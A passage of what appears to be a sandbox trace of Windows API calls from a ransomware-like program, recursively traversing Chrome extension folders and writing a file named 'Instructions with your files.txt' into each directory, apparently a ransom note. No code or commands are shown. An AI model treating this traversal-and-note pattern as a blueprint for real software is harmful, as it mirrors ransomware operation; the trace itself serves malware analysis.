[0130.016] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82885e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab4f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.016] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 181
[0130.016] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.016] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.017] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.017] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.017] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.017] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.017] CloseHandle (hObject=0x134) returned 1
[0130.017] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.018] GetProcessHeap () returned 0x810000
[0130.018] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.018] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828836f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82885e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82885e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0130.018] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\Instructions with your files.txt") returned 175
[0130.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.018] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.019] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.019] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.019] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.019] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.020] CloseHandle (hObject=0x130) returned 1
[0130.020] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.020] GetProcessHeap () returned 0x810000
[0130.020] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.020] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0130.020] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata") returned 143
[0130.020] GetProcessHeap () returned 0x810000
[0130.020] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.020] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*") returned 145
[0130.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.021] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\.") returned 145
[0130.021] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.021] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\..") returned 146
[0130.021] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828e9f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bfbc00, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0130.021] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 166
[0130.021] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0130.021] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828e9f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bfbc00, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0130.021] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\Instructions with your files.txt") returned 176
[0130.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0130.021] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0130.022] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0130.022] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0130.022] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0130.023] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0130.023] CloseHandle (hObject=0x130) returned 1
[0130.023] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0130.023] GetProcessHeap () returned 0x810000
[0130.023] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0130.023] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828e7880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e9f90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e9f90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0130.023] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\Instructions with your files.txt") returned 166
[0130.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.023] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.024] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.024] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.024] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.024] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.024] CloseHandle (hObject=0x12c) returned 1
[0130.025] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.025] GetProcessHeap () returned 0x810000
[0130.025] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.026] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 0
[0130.026] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\Instructions with your files.txt") returned 156
[0130.026] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.026] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.027] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.028] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.028] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.028] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.028] CloseHandle (hObject=0x128) returned 1
[0130.028] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.028] GetProcessHeap () returned 0x810000
[0130.028] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.029] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1
[0130.029] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia") returned 123
[0130.029] GetProcessHeap () returned 0x810000
[0130.029] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.029] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*") returned 125
[0130.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.029] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\.") returned 125
[0130.029] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.029] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\..") returned 126
[0130.029] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.1_0", cAlternateFileName="")) returned 1
[0130.029] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0") returned 129
[0130.029] GetProcessHeap () returned 0x810000
[0130.029] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.029] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*") returned 131
[0130.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.032] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\.") returned 131
[0130.032] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86989eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.032] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\..") returned 132
